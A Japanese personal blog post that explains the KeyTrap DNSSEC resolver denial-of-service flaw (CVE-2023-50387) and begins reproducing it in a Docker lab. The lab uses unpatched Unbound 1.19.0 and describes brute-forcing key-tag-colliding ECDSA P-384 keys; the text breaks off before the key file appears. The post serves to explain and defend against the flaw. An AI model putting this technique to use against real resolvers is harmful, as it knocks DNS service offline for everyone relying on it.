knqyf263's blog

自分のためのメモとして残しておくためのブログ。

KeyTrap (CVE-2023-50387)を検証してみた

DNSは趣味でやっているだけですし有識者のレビューを経ているわけでもないので誤りを含むかもしれませんが、DNS界隈には優しい人しかいないのできっと丁寧に指摘してくれるはずです。

追記:めちゃくちゃ丁寧にレビューしていただいたので修正いたしました。森下さんほどの方に細かく見ていただいて恐れ多いです...(学生時代に某幅広合宿で森下さんの発表を見てDNSセキュリティに興味を持った)

要約

ATHENE、ドイツの国立応用サイバーセキュリティ研究センターは、DNSSEC(ドメインネームシステムセキュリティ拡張)に関する重大な設計上の欠陥を発見しました。この欠陥は、DNSSECを検証するDNS実装と公開DNSプロバイダーに大きな影響を与える可能性があります。彼らは「KeyTrap」と名付けた新しい攻撃クラスを開発し、単一のDNSパケットを使用して広範囲にわたるDNS実装と公開DNSプロバイダーを中断させることができることを示しました。この攻撃は、インターネットを使用するあらゆるアプリケーションに深刻な影響を与える可能性があり、ウェブブラウジング、電子メール、インスタントメッセージングの利用不能を引き起こすことができます。この欠陥はDNSの基本的な設計哲学に根ざしており、完全には修正が困難です。すべてのDNSサービスプロバイダーに対し、この重大な脆弱性を軽減するために直ちにパッチを適用することが強く推奨されています​​​​。

この文はChatGPTによる要約でしたが改めて自分の言葉で説明しておくと、DNSSECの設計に問題が見つかりCVE-2023-50387が採番されました。この脆弱性を悪用すると多くのDNSゾルバーに容易にDoSを引き起こすことが出来ます。主要なDNSベンダーはKeyTrapを「これまでに発見されたDNSに対する最悪の攻撃」と呼んでいるぐらいです。実際に試してみましたが特別な攻撃条件は不要で1クエリで応答不能状態に出来ます(マルチスレッドの場合は複数クエリ必要)。DNSSECの検証時の脆弱性なので、権威サーバには影響しません。

このあと詳細は説明しますが、攻撃の原理も簡単で公開されたテクニカルレポートを読めば誰でも攻撃可能です。つまり攻撃コードは公開されているに等しいです。最悪と評されるぐらいの脆弱性ですし、DNSゾルバーを運用している会社や組織は速やかに修正パッチを適用する必要がありそうです。

ここから先は例によってやたら長いのでKeyTrapの詳細に興味がない人は読む必要はありません。

背景

2024年2月13日頃、BINDから7つの脆弱性の修正が公開されました。

lists.isc.org

この中のCVE-2023-50387だけ"KeyTrap"と脆弱性に名前がついていて凄そうと思っていたのですが、その後ISCから技術的な解説が公開されました。

www.isc.org

What is the KeyTrap vulnerability? のところを読むと以下のように書いてあります(ChatGPT訳)。

KeyTrap脆弱性については、攻撃者が多数のDNSKEYおよびRRSIGレコードを含むDNSゾーンを作成し、標準準拠のDNSSECバリデータが一致して検証する一組の組み合わせを見つけることを期待して、可能なDNSKEYおよびRRSIGレコードの全ての組み合わせを試みます。バリデータが実行する作業量に明確な制限を設けていない場合、無駄な作業に膨大なリソースを費やすことになります。この攻撃は非対称的で、攻撃者は比較的少ない労力でリゾルバに多大な労力を強いることができます。

特に古いバージョンのBINDに対してこの攻撃は極めて効果的で、DNSSEC検証は歴史的にほぼすべての処理と同じスレッドで行われていました。BINDのこの設計上の欠陥と、検証のための無制限の努力が組み合わさり、攻撃者がBINDのクエリ処理を長時間ブロックすることを可能にしました。これは遅いCPUでは数分またはおそらく数時間にも及ぶことがあります。

これを読むとあまりにもシンプルで驚くと思います。要は大量の公開鍵と大量の署名をレスポンスとして送りつけると、リゾルバーは全ての組み合わせを試そうとするので処理に時間がかかる、以上!という内容です。この時点ではATHENEから論文などは公開されていなかったのですが、正直これだけで攻撃可能なぐらいだと思います。

その後、2月16日に公式ページが作られテクニカルレポートも公開されました。

www.athene-center.de

KeyTrapの詳細に興味があったのでテクニカルレポートに目を通しました。細かく説明されているものの、やはり鍵と署名が多いと処理に時間がかかって応答不能になる、というのが内容のほとんどでした。これだけシンプルな問題が25年ぐらい気付かれないというのも興味深いですね(DNSSECあまり使われてないのでは)。

私たちは、上記で説明された結び付けプロセスの仕様の弱点を利用してKeyTrapアルゴリズム複雑性攻撃を開発し、単一の鍵タグtkに従うkの基数を持つDNSKEYセットを偽造し、これらのDNSKEYを参照する大量の無効なRRSIGレコードsを作成します。その結果、リゾルバはすべてのs署名をすべてのkキーに対してチェックする必要があります – これはO(n2)の漸近的複雑さを持つ手続きです。

話はそれますが、こういうシンプルな発見でも”SigJam(署名を大量に返す)”、”LockCram(鍵を大量に返す)”、"KeySigTrap(署名と鍵を大量に返す)"、などと順序立てて説明したり、どのアルゴリズムが特に時間がかかるのかなどを計測して比較したりして一つの体系的なレポートに仕上げており、研究者のこういうスキルはやはり凄いなと感じました。誤解のないように断っておきますが、シンプルな発見と書いているのは簡単に見つかるはずという意味ではないです。動作原理がシンプルという意味です。25年も見つかっていなかった問題を見つけるのはやはり難しいです。

度々自分への戒めとしてブログに書いているのですが、自分が興味のある・好きな分野において「あーはいはいそういうことね。過去の経験と知識から手を動かさずとも結果が予測できますわ。」で終わるようになると老人会入りだと思っています。知識として知っていることと実際にそれを出来ることは大きな隔たりがあるので、今回もDNSSECの環境を作ってこの脆弱性を手元で再現しました。その辺の再現方法を踏まえつつ詳細を解説します。

仕事はDNSと全く関係なく趣味なので正直踏み込んだ内容を書くのは怖いですが、よく分からないけど問題ないだろうと放置されたり、「これまでに発見されたDNSに対する最悪の攻撃」という謳い文句で不必要に恐れたり、といったことがないようにレポート公開後に急いで書きました。KeyTrapの脅威を正しく評価しようということで、自分の理解した範囲で説明します。間違いがないように最大限努めていますが、深夜に書いているのもあって不安です。何かおかしな箇所を見つけたら教えて下さい。

詳細

基本的にテクニカルレポートから引用して説明していくので、正確に知りたい人はそちらを読んだほうが良いです。単にレポートの内容を翻訳するだけだとあまり価値がないので、自分で手を動かした後半の検証部分を手厚く書いています。ここではChatGPTの翻訳をベースに自分の言葉で少し補足しています。

DNSSECとは?

DNSSEC [RFC4033-4035]では、電子署名を使ってデータの出自の認証と完全性の検証を行います。ドメイン所有者は自分のドメイン内のレコードに電子署名を行い、DNSSECに署名されたDNSレスポンスを返します。DNSゾルバーは受信したDNSレコードを電子署名と照合して検証する必要があります。公開鍵を検証するために、リゾルバーはルートゾーンから対象ドメインまでの検証パスを構築します。

これは信頼の連鎖と呼ばれますが、今回の脆弱性にはそこまで関係ないので説明は省きます。基本はSSL/TLS証明書と同じです。

署名検証に失敗した場合、リゾルバーは不正なレコードをクライアントに配信せず、代わりにSERVFAILレスポンスを送信することでエラーを通知する必要があります。DNSSECの検証が成功した場合、リゾルバは要求されたレコードをクライアントに返し、キャッシュします。

DNSSECの署名はRRSIGタイプのDNSレコードで伝達されます。RRSIGレコードは、それがカバーするレコードのセット(RRset)と名前、クラス、およびRRSIG固有のレコードフィールドによって示されるレコードタイプに関連付けられます。

と説明されてもわからないと思うので、実際にどのようなデータが返ってくるのか jprs.jp の権威DNSサーバーに jprs.jp のAレコードを問い合わせた結果で確認してみます。

$ dig +dnssec +norec jprs.jp a @ns1.jprs.jp
...
;; ANSWER SECTION:
jprs.jp.                300     IN      A       117.104.133.164
jprs.jp.                300     IN      RRSIG   A 8 2 300 20240316023003 20240215023003 2031 jprs.jp. BTakiDSqF4+NAfOo9YgEIMHHf5emwMsjn3+h7X/JItfIXKoTb868SW5Z QCAPKzJE/St7HM6nzNQOEtUe977p4ae+Wk4ZzivEaKf9qHQs5SZI3teq CfsOpEfGBVmvtH+/pJjCfLkLh17FaSa4h13jmg4X0L+Pa1FD6OT9NoOa 7e0=

answer sectionに返って来るAリソースレコード(以下、リソースレコードは単にレコードと呼ぶ場合もある)に加え、RRSIGレコードが返ってきているのが分かります。これがこのAレコードの署名です。

署名を検証するために使われるそのゾーンの公開鍵は、DNSKEYレコードとして応答されます。これも実際に見てみます。

$ dig +dnssec +norec jprs.jp dnskey @ns1.jprs.jp
...
;; ANSWER SECTION:
jprs.jp.                86400   IN      DNSKEY  256 3 8 AwEAAb/y+kOCvdNT1lWv/ckqxHQR5LX5aOW6l0GfJApTJF8TzTDWQ+Tq 7B941jPxv/K8Mmmp0eMxvBvff9fRqinCrvHQHYVjE1fdXOGUbpJVzVbp wsHlwdlA7xK5KlTtpzoFFLyYEmPjJTrF5RQtT4YxrMv24DB8dZWrfMcF rbP1MjWt
jprs.jp.                86400   IN      DNSKEY  257 3 8 AwEAAcJCYBap4fADKiRhW/jQaramtRKuCwLJKBHwYarxo4jDRk1UOQ2Y LJfVUyLZKTgGNESnxOEiD6PJLBPqNFcF4jTjuPDVxeQ47A2p3sbXoejJ 9o8VMTvY+3BMFnMRwdrqV+HbSIlW6bLHLTANZltmEpF62kquPN6Ifm/W gzxPLWxhhAEKX7umhf4o1h9Nn5S/6HrI6puotdmSKk7Hdyu0pkt9wOi4 DyZ+p/qMCg/SbVTAW5O4sscwzvltUd93n0OIcpPiesMx5rVwesJ8rmHY pi2+5nxOjfa6tLCUHaFy1M+ANhWxcpeQaVI61XgjMk3a67iw3NbtH1Yc Bb3eBP2kCQU=
jprs.jp.                86400   IN      RRSIG   DNSKEY 8 2 86400 20240316023003 20240215023003 58789 jprs.jp. M0H13AYuNPZ0Zs/TP2y9goc6Wfy2g5f7PzIJ/IAHllZE2nFJflxmbd+X HFHNDW3iA0RZCjCIpS8CZ+PM75uBrM+3cV5mjuJxBHKjT7UCQWSUHq1v 41z7jCA1R6UduX0c/oqimYY9ZEs86BKrQTQYezr3WtqPCeTIsyksu1vL mzs8UYj+yrHDjPfSrIOv93ZPO763/9EF9SoYCA/zVaREdOccM1QB1gND WBFTyGhQ4OS3RbvWZEYZlaIvj4GIB9kTACmM8wM+seRpoUidZDIz33Hl SFAdfZhizg9F5IAG+o6jJa4ClxL0Uobq0x4YV9oxXhhaVwJ5OOVlXEoM vwb+hA==

2つの鍵が返ってきています。これはゾーン署名鍵(ZSK)と鍵署名鍵(KSK)になりますが、信頼の連鎖の説明が必要になってしまいますし、これも今回そこまで関係ないので省略します。また、DNSKEYレコードに対する署名もRRSIGレコードとして返ってきています。これは後ほど検証時にもう少し説明します。とりあえずフラグが256の方がZSKと呼ばれるもので実際のレコードの署名に使われてるんだな、ぐらい知っておけば今回の説明は理解できると思います。詳しく知りたい方は本を読みましょう。

www.sbcr.jp

また手を動かすと理解が深まるので以下の記事もおすすめです。具体的にDNSKEY/RRSIGレコードがどういうフォーマットになっているか、などは以下で解説されているのでこの記事では説明しません。

eng-blog.iij.ad.jp

DNSSECの可用性

DNSSECの設計では可用性が重要な懸念事項です。可用性を確保するために、DNSSECはポステルの法則(RFC1122)に従い、「送信するものに関しては厳密に、受信するものに関しては寛容に」としています。したがって、ネームサーバーは、リソースレコードセット(RRSet)に対して一致する鍵を一つだけ送るのではなく、サポートしている全ての暗号に対する全ての鍵と、それに対応する全ての署名を送信すべきです。これにより、DNSSECの鍵が誤って設定されていたり、間違っていたり、サポートされていない暗号に対応していたとしても、検証が成功し、したがって可用性が確保されます。

DNSSECではポステルの法則に従っていることが説明されています。

検証するDNSゾルバーが可能な全ての鍵を試すことを要求し[RFC4035]、可能な全ての署名を試すことも強く推奨します[RFC6840]。

仕様で全ての鍵と署名の組み合わせを試すことが推奨されています。そのため、多数の鍵と署名が返された場合、仕様に忠実なDNSゾルバーではそれら全てを試します。その結果、DNSゾルバーでDoSが起こります。

なぜ複数の鍵が許されているのか、というと例えばキーロールオーバーや複数アルゴリズムサポートのためです[RFC6781]。古い鍵を新しい鍵に入れ替える際など、新しい鍵で署名を追加し古い署名を保持し、新しい鍵が伝播するまで全てのリゾルバーに対して署名が有効であることを保証します。

鍵タグの衝突

実は厳密にはDNSKEYレコードとして応答された鍵を全て試すわけではありません。

効率的な鍵署名マッチングを保証するために、(ゾーン名、アルゴリズム、鍵タグ)の三つ組が各署名に追加されます。署名を検証する際、リゾルバーは署名ヘッダーをチェックし、一致する三つ組の鍵を検証のために選択します。しかし、この三つ組が必ずしも一意であるわけではありません。複数の異なるDNS鍵が同一の三つ組を持つことがあります。

上に書いてあるように(ゾーン名、アルゴリズム、鍵タグ)の3つが一致する鍵だけを使います。ですが、アルゴリズムは同じアルゴリズムで生成されたすべての鍵に対して同一です。さらにゾーン名も同じゾーンであれば同一です。つまり、主に鍵タグによって署名に使われた鍵を判別しています。

鍵タグは鍵ビットに対する疑似ランダムな算術関数を用いて計算されます。上の jprs.jp の例だと鍵タグは2031になっています。この計算方法は上で貼ったIIJさんのブログで説明されていますが、2バイトの数値なので鍵タグの衝突はまれですが自然に発生します。これは[RFC4034]に明示的に記述されており、鍵タグが一意の識別子ではないことを強調しています。鍵タグが衝突するとリゾルバーが効率的に適切な鍵を特定できなくなり、利用可能な全ての鍵での検証を行わなければならず、署名検証に大きな労力を要します。

今回の発見はかなりシンプルなものですが、こういう細かい仕様の問題を積み重ねて一つの大きな問題に仕上げたという感じがします。

攻撃内容

もう十分理解できたと思うので改めて説明するようなものではない気もしますが、一応レポートの内容をもう少し書いておきます。

攻撃は、ターゲットリゾルバー、悪意のあるネームサーバー、およびKeyTrap攻撃ベクターエンコードするゾーンファイルへのクエリを送信するモジュールで構成されます。標準要件のアルゴリズム複雑性の脆弱性を利用して、KeySigTrap、SigJam、LockCram、およびHashTrapの異なるバリアントのKeyTrapリソース枯渇攻撃を開発します。攻撃を開始するため、攻撃者は被害者のリゾルバーに自分の悪意のあるドメイン内のレコードを検索させます。攻撃者のネームサーバーは、特定の攻撃ベクターとゾーン構成に従って、DNSクエリに対して悪意のあるレコードセット(RRsets)で応答します。

機械的な翻訳で若干わかりにくいので図を書いておきます。

攻撃ベクターは、敵によって制御されるドメインのゾーンファイルにエンコードされています。このゾーンには、DNSSECと無害なDNSレコードの両方が含まれています。攻撃を効果的にするために、敵は署名された親の下でドメインを登録する必要があります。

ゾルバーにDNSクエリを送りつけて攻撃者の管理するゾーンに問い合わせを行わせることで攻撃をトリガーします。そして攻撃者の管理する権威サーバーから不正なリソースレコードセットを返します。DNSSECの検証は元々重たい処理ですが、それを何度も行わせることでリゾルバーが応答不能になります。

上の翻訳に書いてありますが、KeyTrapはKeySigTrap、SigJam、LockCram、およびHashTrapの4つの異なる種類のリソース枯渇攻撃を含みます。

SigJam (単一の鍵 x 多数の署名)

RFCは、リゾルバがDNSKEY検証可能な署名が見つかるまで全ての署名を試すべきであると助言しています。これを利用して、同じDNSSECレコードを指し示す多数の署名を使用した攻撃を構築することができます。最も影響力のあるアルゴリズムを使用して、攻撃者は1つのDNSレスポンスに340の署名を収めることができ、これによりリゾルバはクライアントにSERVFAILレスポンスを返すまでの解決プロセス中に340の署名検証操作を行うことになります。SigJam攻撃は、リゾルバに1つのDNSKEYを使用してDNSレコード上の多数の無効な署名を検証させることによって構築されます。

これは特に難しいことはなく、書いてあるとおりです。大量の無効なRRSIGレコードが含まれている場合、リゾルバーは全てを検証しようとするためCPU負荷が高まるというだけです。

LockCram(多数の鍵 x 単一の署名)

SigJamの設計に従い、我々はLockCramと名付けた攻撃ベクターを開発しました。これは、リゾルバーが署名に利用可能な全ての鍵を[RFC4035]により検証するまで試すことが義務付けられている事実を悪用します。LockCram攻撃は、多数のZSK DNSSEC鍵を使用してDNSレコードに対する一つの署名を検証させることによって構築されます。

これに対し、攻撃者はゾーン内に複数のDNS鍵を配置し、それらをすべて同じ三つ組(名前、アルゴリズム、鍵タグ)を使用して署名レコードが参照するようにします。これは、リゾルバーが同一のDNSKEYレコードを重複排除でき、その鍵タグが等しくなければならないため、些細なことではありません。ゾーンからDNSレコードを認証しようとするリゾルバーは、その署名を検証しようと試みます。これを達成するために、リゾルバーは署名の検証に必要な全てのDNSSEC鍵を特定し、正しく構築されていれば同じ鍵タグに適合します。RFC準拠のリゾルバーは、無効な署名によって参照される全ての鍵を試し、署名が無効であると結論付けるまで、数多くの高価な公開鍵暗号演算をリゾルバーで行わなければなりません。

上の"鍵タグの衝突"の部分で説明しましたが、ここだけほんの少しだけ攻撃側が頑張る必要があります。署名検証に使われる鍵は鍵タグにより特定を行いますが、この鍵タグが等しくなるような鍵を多数用意してDNSKEYレコードとして返すことで、これらすべての鍵を使って検証を行わせることが出来ます。

KeySigTrap(多数の鍵 x 多数の署名)

KeySigTrap攻撃は、SigJamの多数の署名とLockCramの多数の衝突するDNSKEYを組み合わせ、他の二つの攻撃と比較して検証の二次的な増加を引き起こす攻撃を作り出します。

攻撃者は、多くの衝突するZSKとそれらの鍵に一致する多くの署名を含むゾーンを作成します。攻撃者が多数の署名でDNSレコードの解決を引き起こすと、リゾルバーは最初のZSKを使用してすべての署名を検証しようとします。 すべての署名が試された後、リゾルバーは次の鍵に移動し、再度すべての署名での検証を試みます。これは、すべての鍵と署名の組み合わせが試されるまで続きます。 すべての可能な組み合わせで検証を試みた後にのみ、リゾルバーはレコードを検証できないと結論付け、クライアントにSERVFAILを返します。

これがこのKeyTrapという一連の脆弱性のメインです。なので厳密にはKeyTrapよりKeySigTrapと呼ぶべきな感じがありますが、何にせよSigJamとLockCramを組み合わせただけです。多数の署名と多数の衝突させた鍵を用意したゾーンを作成し、そこのゾーンに対して問い合わせを行わせる攻撃です。

HashTrap(多数の鍵 x 多数のハッシュ計算)

攻撃者は、ハッシュ計算を悪用してアルゴリズムの複雑さに基づく攻撃を開発することもできます。DNSレコードに多数の署名検証を引き起こす代わりに、攻撃者は親ゾーンのDSエントリで鍵が認証されたことを確認する際に、リゾルバで多数のハッシュ計算を引き起こすことができます。一般に、リゾルバは署名を検証するために鍵を使用する前にDNSKEYレコードを認証する必要があります[RFC4035]。DNSKEYセットの署名を認証するために、リゾルバは最初に親ゾーンのDSレコードに一致するDNSKEYを見つける必要があります。これは攻撃で悪用されます。攻撃者は多くのユニークなDNSKEYを作成し、それらを親ゾーンの多くのDSエントリからリンクします。リゾルバはすべての親のDSと子のDNSKEYの照合を行う必要があります。

KeySigTrap以外の攻撃として多数のハッシュ計算を行わせる攻撃についても解説がされていますが、署名検証のほうが計算量が多く効果的なのでKeySigTrapだけ分かっておけば一旦十分だと思います。実際には後半でKeyTrapは防げてもHashTrapは防げない緩和策なども紹介されているので詳しく知りたい人はレポートをどうぞ。

攻撃の評価

どのように攻撃を評価したのかがレポートでは詳細に説明されていますが、ここでは自分が特に重要だと思う部分だけ抜き出しておきます。

まず、主要なDNS実装が影響を受けることが述べられています。

実験的な評価を通じて、私たちのデータセット上のすべての主要なDNS実装がKeyTrap攻撃に対して脆弱であることを発見しました

また、DNSUDPTCPに対応していますがTCPを使った場合は2オクテットでサイズを表現するため、DNSペイロードの上限は65,535バイトになります。これは1クエリ内に含むことの出来る署名数や鍵の数に影響します。

DNS応答は通常、UDP経由で配信されます。DNS応答が大きすぎる場合、例えばEDNS(0) OPTヘッダーのEDNSサイズを超える場合、ネームサーバーはフラグメンテーションを避けるためにTCPにフォールバックします。私たちの攻撃はUDPまたはTCPのいずれかを介して実装することができます。リゾルバと私たちのネームサーバー間のトランスポートプロトコルとしてTCPを実装します。TCP上で送信されるDNSメッセージの最大サイズは、[RFC1035]によって指示されており、TCP上のDNSメッセージにはメッセージの前に2オクテットのサイズの長さ値が付けられなければならないと述べられています。このフィールドのサイズ制限の結果、ネームサーバーからリゾルバへの応答で送信されるDNSペイロードは、最大で216 = 65536バイトのサイズを持つことができます。最大伝送単位(MTU)に応じて、このペイロードは1つ以上のTCPセグメントで送信されます。したがって、DNS応答の攻撃ペイロード(すなわち、DNS/DNSSECレコード)は65Kバイトに制限されます。

DNSSECでサポートされているアルゴリズムではRSAベースよりECCベースの方が検証の負荷が高くなるので、より攻撃的に効果的であることが分かったと述べています。

DNSSECは一般に、RSAベースと楕円曲線暗号ECC)ベースの2種類のアルゴリズムスイートをサポートしています。私たちは両方のスイートを評価し、ECCベースの暗号アルゴリズムRSAベースのアルゴリズムよりも大幅に高い負荷を示し、RSAを桁違いに上回ることを発見しました。

その中でも特にECDSA Curve P-384/SHA-384(アルゴリズム番号14)の負荷が一番高かったとのことです。

表は、すべてのリゾルバがアルゴリズム14 ECDSA Curve P-384/SHA-384で作成された署名の検証に最も長い時間を要することを示しています。したがって、アルゴリズム14は、利用可能な最大バッファサイズで全リゾルバに対する攻撃に最も適しており、最大の影響を与えます。

以下の表を見ると確かにアルゴリズム番号14が一番時間がかかっていますが、それ以上にBINDが軍を抜いています。さすが僕たちのBIND。

"The KeyTrap Denial-of-Service Algorithmic Complexity Attacks on DNS Version: January 2024" Table Ⅲより引用

上述したように65,535バイトがDNSペイロードの上限なので、最大で589の鍵をDNSKEYリソースレコードとして応答できます。署名は519までRRSECリソースレコードとして含められます。

アルゴリズム14の384ビット鍵サイズを使用し、鍵を輸送する理論上の最小サイズのDNSメッセージを構築することで、攻撃者は1つのDNSメッセージに最大で589の衝突するDNS鍵を適合させることができます。同様に、最小のDNSオーバーヘッドを使用して、攻撃者は1つのDNSメッセージに最大で519の署名を適合させることができます。 したがって、アルゴリズム14を使用した1つの解決要求で、攻撃者は理論的に589*519 = 305691の署名検証をDNSゾルバで引き起こすことができ、リゾルバにかなりの処理労力を要求します。

最大でどのぐらいの秒数DoSになったという表が載っていますが、ここでもBINDは圧倒的です。さすが僕たちのBIND。Unboundは5回のリトライ処理があるため他より約6倍遅く、BINDはまだ試していない鍵を探すために毎回鍵を全探索しているらしく極端に非効率とのことです。あとはISCの説明にもあったようにDNSSECの検証と他の処理が同一スレッドで行われていたそうです。16時間応答不能となるともはやプロセス落ちたぐらいのインパクトです。

"The KeyTrap Denial-of-Service Algorithmic Complexity Attacks on DNS Version: January 2024" Table Ⅳより引用

上記以外にも署名検証中に行われた別の問い合わせの扱い、マルチスレッドの場合の違い、キャッシュされている応答の処理、継続的な攻撃による影響、いかに少ないクエリでDoSを引き起こすか、などがレポート内には書かれていますが細かい話なので省略します。

緩和策

根本的な解決をするためにはDNSSECの仕様を見直す必要があり、現状は各DNS実装で緩和策を入れているという状態ですが、その緩和策ですら難しいという話は面白かったです。興味ある人は"VII. THE PATH TO MITIGATIONS"を読んでみてください。概要だけ以下に書きます。

欠陥を緩和することは困難です。DNSSEC検証の欠陥は簡単に解決できるものではありません。例えば、潜在的な失敗を考慮して、ネームサーバーが複数のキーを返す正当な状況が存在します。例えば、すべてのリゾルバーによってまだサポートされていない新しい暗号を試験しているドメインがあり、キーロールオーバーが存在します。失敗を避けるために、ネームサーバーはすべての暗号資料を返すべきです。同様に、検証の成功を保証するために、リゾルバは最初の失敗した検証で失敗するべきではなく、検証が成功するまですべての資料を試すべきです。実際、§VII-Dで説明されている開発者とのパッチ作業を開始して以来の経験は、これらの欠陥をかなり緩和できることを示していますが、完全に解決することはできません。

上にも書いてありますが複数の鍵や署名が許されているのは必要だからであり、それを禁止するわけには行きません。なので現実的な緩和策として、まず検証失敗数の上限を設けたそうです。例えばAkamaiでは32回までを失敗の上限としたそうですが、結局これは1クエリあたりの制限なので複数クエリを送ればCPUを高負荷に出来たため効果的な対策ではないことが分かったとのことです。

他にも衝突する鍵の上限を設ける緩和策を実装したそうです。例えば、衝突する鍵タグを最大4つまでとします。自然に鍵タグが衝突することはほぼ起こらず、実際に60,000の署名付きゾーンを調べたところ2つ以上衝突する鍵を使用するゾーンはなかったため、この制限は通常の操作に影響を与えずに済みます。しかしSigJam攻撃の亜種でANYタイプを使うと、異なる鍵で署名された多数のRRSIGレコードを応答することが出来るため、鍵の衝突をさせなくても多数の署名検証を行わせることが出来ます。それぞれの署名を正当なものにしておけば署名失敗による上限に引っかかることもなく、全てのレコードセットの署名がチェックされるまで検証を続けます。この攻撃によりパッチを迂回してDoSすることが出来てしまいます。

結局、これらの緩和策に加え成否にかかわらず署名検証そのものの回数に上限を加えました。これらを適用してもなおCPUは高負荷になりますが、正当なトラフィックを失わないことを確認できたそうです。

この経緯を見て、どのぐらいのリクエストで応答不能になる場合に脆弱性とみなされるのか気になりました。1クエリでDoSになったら確かに脆弱性ですが、じゃあ秒間100クエリでDoSになる場合は?10,000クエリは?何か定義はあるんでしょうか。

そもそもDNSSECやめたら良くない?という話もあるとは思うのですが、今回のレポートではDNSSECは使う前提の上でどのように緩和するかについて述べられています。

再現方法

ここまでで脆弱性の原理を理解できたので実際に再現環境を作っていきます。以下のようなネットワークを作ります。resolverはBINDでもUnboundでも良かったのですが、今回は自分があまり使う機会のなかったUnboundにしました。

ChatGPTにDocker Composeでこのネットワーク作って、と図を投げてお願いしたらちゃんと作ってくれたのでそれをベースに必要なファイルをマウントしたり修正しました。最終的な docker-compose.yml を先に貼っておきます。

version: '3'

services:
  attacker:
    build: ./attacker
    command: tail -f /dev/null
    networks:
      app_net:
        ipv4_address: 10.10.0.2

  resolver:
    build: ./resolver
    volumes:
      - ./resolver/unbound.conf:/usr/local/etc/unbound/unbound.conf
      - ./resolver/a.test.key:/usr/local/etc/unbound/a.test.key
    networks:
      app_net:
        ipv4_address: 10.10.0.3

  auth:
    build: ./auth
    volumes:
      - ./auth/named:/etc/default/named
      - ./auth/named.conf:/var/named/chroot/etc/named.conf
      - ./auth/a.test.zone.signed:/var/named/chroot/var/named/a.test.zone.signed
    networks:
      app_net:
        ipv4_address: 10.10.0.4

networks:
  app_net:
    ipam:
      config:
        - subnet: 10.10.0.0/24

攻撃者

まず攻撃トリガー用のコンテナイメージを作成します。これはDNSクエリを1つ送るだけの存在なので何でも良いです。今回は dig を使うのでそれだけインストールしたコンテナイメージを作っておきます。

FROM alpine:3.19

RUN apk add bash bind-tools

ゾルバー(Unbound)

攻撃対象です。

Unboundのコンテナイメージ作成

ゾルバーとして動くUnboundをインストールしたコンテナイメージを作ります。最新版を入れると既にKeyTrapの緩和策を適用した1.19.1がインストールされてしまうので、ソースコードからビルドします。

FROM debian:12

# Install packages
RUN apt-get update && apt-get install -y build-essential libexpat1-dev libssl-dev wget vim bash dnsutils

# Download and extract the Unbound source code
RUN wget https://nlnetlabs.nl/downloads/unbound/unbound-1.19.0.tar.gz \
    && tar -xzvf unbound-1.19.0.tar.gz \
    && rm unbound-1.19.0.tar.gz

# Build and install Unbound from the source code
RUN cd unbound-1.19.0 \
    && ./configure \
    && make \
    && make install

# Create unbound user and group
RUN groupadd -r unbound && useradd -r -g unbound unbound

# Run Unbound in the foreground
CMD ["unbound", "-d"]

Unboundの設定ファイル作成

テクニカルレポートを見ると前半はCPU1コアで検証しています。後半でマルチスレッドの検証についても0.5ページぐらい割いていますが、複数クエリを送って全てのスレッドで署名検証を行わせることで結局DoSに繋がるという内容でした。もちろんスケジューリングの実装によっていくつのクエリを送るべきかは変わりますが、あまり今回の脆弱性の本質ではないと思うので今回の検証は num-threads: 1 を設定に追加して1コアで行います。

また、検証のために自分の用意した権威サーバに問い合わせを行わせたいので stub-zone の設定を追加します。今回は a.test というゾーンに関しては権威サーバである10.10.0.4(BIND)に問い合わせます。検証だし、ということで今回は .test を使ったのですが全然うまく動作せずハマりました。Unboundの設定を見たら .test は応答しないようになっていたようです。 local-zone: "test." nodefault を追記したら動くようになりました。

unbound/doc/example.conf.in at be27499d397e192bd43bff27bf0dcaa79020d024 · NLnetLabs/unbound · GitHub

実際に攻撃するときは攻撃者が所有する委譲されたゾーンを使うのでこのような特殊な設定は不要です。攻撃者の持つドメイン名を攻撃対象のリゾルバーに問い合わせるだけで攻撃が成立します。

出来上がったUnboundの設定ファイル( unbound.yml )は以下です。

server:
    num-threads: 1
    interface: 0.0.0.0
    port: 53
    do-ip4: yes
    do-ip6: no
    do-udp: yes
    do-tcp: yes

    # DNSSEC settings
    trust-anchor-file: "/usr/local/etc/unbound/a.test.key"

    # Other settings
    # Allow access only from the local network
    access-control: 10.10.0.0/24 allow

    # Adjust the verbosity of the log
    verbosity: 1

    use-syslog: no

local-zone: "test." nodefault
stub-zone:
    name: "a.test"
    stub-addr: 10.10.0.4

ちなみにデバッグ中は verbosity: 4 にしておくと良いです。攻撃がうまくいくと以下のように署名検証に失敗しまくるログが見られます。

resolver_1  | [1708247200] unbound[1:0] debug: verify sig 6350 14
resolver_1  | [1708247200] unbound[1:0] debug: verify: signature mismatch
resolver_1  | [1708247200] unbound[1:0] debug: verify: signature mismatch
resolver_1  | [1708247200] unbound[1:0] debug: verify: signature mismatch
resolver_1  | [1708247200] unbound[1:0] debug: verify: signature mismatch
resolver_1  | [1708247200] unbound[1:0] debug: verify: signature mismatch
resolver_1  | [1708247200] unbound[1:0] debug: verify: signature mismatch
resolver_1  | [1708247200] unbound[1:0] debug: verify: signature mismatch
resolver_1  | [1708247200] unbound[1:0] debug: verify: signature mismatch
resolver_1  | [1708247200] unbound[1:0] debug: verify: signature mismatch

trust-anchor-file についてはKSKの説明時に合わせて説明します。

権威サーバー(BIND)

BINDのコンテナイメージ作成

BINDは権威サーバ側なので最新バージョンがインストールされるOSパッケージを使ってもよいのですが、「クセになってんだ BINDをソースコードからビルドするの」とキルアも言っていたので自分でビルドします。他の脆弱性で何度もやっているので説明は省略します。Dockerfileは最後にGitHubリポジトリを貼っているのでそっちを見てください。

鍵タグが衝突する鍵の作成

上で説明したように鍵タグの衝突する鍵を用意することで、署名に使われた鍵の探索に時間をかけさせられます。アルゴリズムは上で説明したように一番計算が重いということでECDSAP384SHA384を使います。

この衝突する鍵をどうやって作るかですが、特に思いつかなかったので愚直に衝突するまで繰り返し作りました。賢い人ならもっと美しい方法を思いつきそうですが、力こそパワーということでただひたすら鍵を作り続けました。それでも30分ぐらいあれば鍵を100個ぐらい作れます。また、上述したように理論的には589個まで鍵を入れられるわけですが100個ぐらいでも十分な時間DoSを引き起こせます。ということで検証用に一旦100個作りました。今回は鍵タグが6350になるものを作成しました。最初に作った鍵のタグがその値だったのでそれに合わせただけで特に6350に意味はありません。

ECDSAP384SHA384は仕様上のアルゴリズム番号が14だったりZSKのフラグが256だったりするので、それらを適切に繋げてDNSKEYレコードのフォーマットにして以下のようにファイルに保存しておきます。

$ cat found_keys.txt | head -n 5
